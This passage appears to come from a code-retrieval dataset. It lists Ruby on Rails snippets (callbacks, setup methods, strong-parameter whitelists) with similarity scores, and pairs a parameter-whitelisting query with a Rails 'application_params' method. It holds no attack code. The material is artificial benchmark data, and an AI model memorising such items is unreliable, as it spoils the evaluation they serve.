"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def application_params
params.require(:application).permit(:j_id, :job_id, :user_id, :gender, :additional_info, :portfolio_url, :linkedin_url, :current_company, :disability_status, :veteran_status, :race, :status, :resume)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981273",
"0.6783789",
"0.67460483",
"0.6742222",
"0.67354137",
"0.65934366",
"0.65028495",
"0.6497783",
"0.64826745",
"0.6479415",
"0.6456823",
"0.6440081",
"0.63800216",
"0.6376521",
"0.636652",
"0.6319898",
"0.6300256",
"0.62994003",
"0.6293621",
"0.6292629",
"0.6291586",
"0.629103",
"0.6282451",
"0.6243152",
"0.62413",
"0.6219024",
"0.6213724",
"0.62103724",
"0.61945",
"0.61786324",
"0.61755824",
"0.6173267",
"0.6163613",
"0.6153058",
"0.61521065",
"0.6147508",
"0.61234015",
"0.61168665",
"0.6107466",
"0.6106177",
"0.6091159",
"0.60817343",
"0.6071238",
"0.6062299",
"0.6021663",
"0.60182893",
"0.6014239",
"0.6011563",
"0.60080767",
"0.60080767",
"0.60028875",
"0.60005623",
"0.59964156",
"0.5993086",
"0.5992319",
"0.5992299",
"0.59801805",
"0.59676576",
"0.59606016",
"0.595966",
"0.59591126",
"0.59589803",
"0.5954058",
"0.5953234",
"0.5944434",
"0.5940526",
"0.59376484",
"0.59376484",
"0.5935253",
"0.5930846",
"0.5926387",
"0.59256274",
"0.5917907",
"0.5910841",
"0.590886",
"0.59086543",
"0.59060425",
"0.58981544",
"0.5898102",
"0.5896809",
"0.5895416",
"0.58947027",
"0.58923644",
"0.5887903",
"0.58830196",
"0.5880581",
"0.5873854",
"0.58697754",
"0.5869004",
"0.58669055",
"0.5866886",
"0.58664906",
"0.5864619",
"0.58630043",
"0.5862495",
"0.5861368",
"0.5859712",
"0.5855544",
"0.58551925",
"0.5851284",
"0.5850602"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_user
@user = User.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a trusted parameter "white list" through. | def user_params(*args)
params.require(:user).permit(args)
# :name :username :email :password :password_confirmation :bio
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
